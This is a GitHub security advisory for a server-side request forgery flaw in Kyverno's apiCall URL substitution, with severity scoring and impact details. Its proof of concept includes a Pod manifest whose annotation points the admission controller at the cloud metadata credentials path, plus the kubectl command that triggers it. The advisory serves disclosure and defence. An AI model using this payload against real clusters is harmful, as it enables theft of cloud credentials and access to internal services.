Skip to content

Kyverno has unrestricted outbound requests in Kyverno apiCall enabling SSRF

High severity GitHub Reviewed Published Apr 13, 2026 in kyverno/kyverno • Updated Apr 14, 2026

Package

gomod github.com/kyverno/kyverno (Go)

Affected versions

<= 1.17.1

Patched versions

None

Description

Summary

A Server-Side Request Forgery (SSRF) vulnerability in Kyverno allows authenticated users to induce the admission controller to send arbitrary HTTP requests to attacker-controlled endpoints.

When a ClusterPolicy uses apiCall.service.url with variable substitution (e.g. {{request.object.*}}), user-controlled input can influence the request target. The Kyverno admission controller executes these requests from its privileged network position without enforcing any validation or network restrictions.

The issue becomes non-blind SSRF, as response data from internal services can be reflected back to the user via admission error messages.


Details

Kyverno supports variable substitution in apiCall.service.url, a documented feature intended to enable dynamic external lookups during admission control.

However, the current implementation lacks fundamental safeguards in the HTTP execution path:

Missing protections

  • No URL validation
    User-controlled input is directly embedded into the request URL without validation or normalization.

  • No IP filtering
    Requests can target:

    • Loopback (127.0.0.1)
    • Link-local (169.254.0.0/16)
    • Cloud metadata services (e.g. AWS IMDS)
    • Internal ClusterIP services
  • Redirect handling not restricted
    The Go HTTP client uses default redirect behavior (CheckRedirect == nil), allowing up to 10 redirects without re-validation of the target.

  • Response data reflection in admission errors
    Response bodies are propagated back to the user in admission responses under certain conditions.

Non-blind SSRF behavior

The vulnerability is non-blind through two mechanisms:

  1. Non-2xx responses
    Response body is returned in admission error messages (e.g. executor.go:98-101)

  2. 2xx responses with non-JSON content
    Parsing failures (JSON/JMESPath) include response snippets in error output

This allows attackers to retrieve data from internal services directly via kubectl output.


PoC

Preconditions

  1. A ClusterPolicy using:
apiCall:
  service:
    url: "http://{{ request.object.metadata.annotations.target }}"
  1. An authenticated user able to create matching resources (e.g. Pods)

Step 1 — Create malicious resource

apiVersion: v1
kind: Pod
metadata:
  name: ssrf-test
  annotations:
    target: "169.254.169.254/latest/meta-data/iam/security-credentials/"
spec:
  containers:
  - name: test
    image: nginx

Step 2 — Apply resource

kubectl apply -f pod.yaml

Step 3 — Observe output

Example output:

Error from server: admission webhook "kyverno" denied the request:
failed to process apiCall: <response body from metadata service>

Variations


Impact

Vulnerability class

  • Server-Side Request Forgery (SSRF)
  • Non-blind data exfiltration

Affected scope

  • Kubernetes clusters using Kyverno policies with apiCall.service.url and variable substitution

Impact details

  • Access to internal services (ClusterIP, localhost)
  • Access to cloud metadata endpoints (e.g. IMDSv1 → credential exposure)
  • Internal network reconnaissance
  • Multi-tenant boundary weakening

This issue can be combined with automatic ServiceAccount token forwarding (reported separately) to form a critical attack chain.

References

@JimBugwadia JimBugwadia published to kyverno/kyverno Apr 13, 2026
Published to the GitHub Advisory Database Apr 14, 2026
Reviewed Apr 14, 2026
Last updated Apr 14, 2026

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
None
Scope
Changed
Confidentiality
High
Integrity
None
Availability
None

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N

EPSS score

Weaknesses

Server-Side Request Forgery (SSRF)

The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination. Learn more on MITRE.

CVE ID

No known CVE

GHSA ID

GHSA-qr4g-8hrp-c4rw

Source code

Credits

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.